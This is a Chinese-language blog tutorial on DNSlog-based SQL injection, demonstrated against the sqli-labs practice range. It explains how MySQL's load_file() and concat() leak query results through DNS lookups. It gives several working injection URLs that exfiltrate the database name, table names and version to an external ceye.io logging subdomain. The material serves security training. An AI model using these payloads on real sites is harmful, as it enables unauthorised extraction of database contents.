SQL?DNSlog注入實戰
今天繼續給大家介紹Linux運維相關知識,本文主要內容是SQL DNSlog注入。
免責聲明:本文所介紹的內容僅做學習交流使用,嚴禁利用文中技術進行非法行為,否則造成一切嚴重后果自負!再次強調:嚴禁對未授權設備進行滲透測試!
一、SQL DNSlog注入簡介SQL Dnslog注入是一種特殊的SQL注入顯示方式,我們都知道,不論是使用基于bool的SQL盲注,還是基于時間的SQL盲注,都有一個問題,即注入的時間比較慢。此外,還有一些非常特殊的應用場景,我們可以把我們的payload放到目標站點上執行,但是目標站點沒有明顯的回顯,在這種情況下,我們就可以使用SQL DNSLog注入。DNSlog的SQL注入,指的是使用load_file函數,使得站點訪問時加載我們指定的文件,該函數支持加載遠程文件。這樣,我們就可以將load_file()函數的參數設置成我們指定的站點,并且使用concat函數來執行我們想要探測的SQL語句,并且把SQL語句的執行結果作為load_file()函數訪問站點的一部分,當我們發起DNS請求時,目標站點可以通過設置來記錄這些信息,于是也就得到了SQL語句執行的結果。
二、SQL DNSlog注入實戰想要實現DNSLog注入,那么我們就必須先擁有一個能夠正常進行DNS查詢,并且能夠把域名請求記錄下來的服務器,http://ceye.io/就是一個可以實現并記錄DNS域名查詢結果,并且幫助我們實現DNSLog注入的網站。
我們在注冊該站點后,該站點會給予我們一個子域名,如下圖紅線所示:
我們只要發起對該子域名下的次級子域名的DNS訪問請求,就可以借此被該站點記錄,并且顯示給我們。基于此,我們可以實現DNSLog注入了。我們使用sqli_lab作為靶場,該靶場原始網頁如下所示:
http://192.168.136.2/sqli/Less-1/?id=1
首先,我們可以構造DNSLog注入的payload,
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select database()),'.ubhdz9.ceye.io\\abc'))--+
在上述payload中,我們把select database()語句嵌入到了load_file()函數中,使其作為load_file()函數的一部分,使得該站點啟用DNS查詢。同理,我們可以構造其他形式的payload,例如查詢數據庫表名的payload:
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 1,1),%27.ubhdz9.ceye.io\\abc'))--+
以及查詢數據庫版本的payload:
http://192.168.136.2/sqli/Less-1/?id=1' and load_file(concat('\\\\',(select version()),'.ubhdz9.ceye.io\\abc'))--+
上述payload執行結果如下圖所示:
從上圖可以看出,我們的SQL DNSLog注入成功!
到此這篇關于SQL DNSlog注入詳解的文章就介紹到這了,更多相關SQL DNSlog注入內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網!
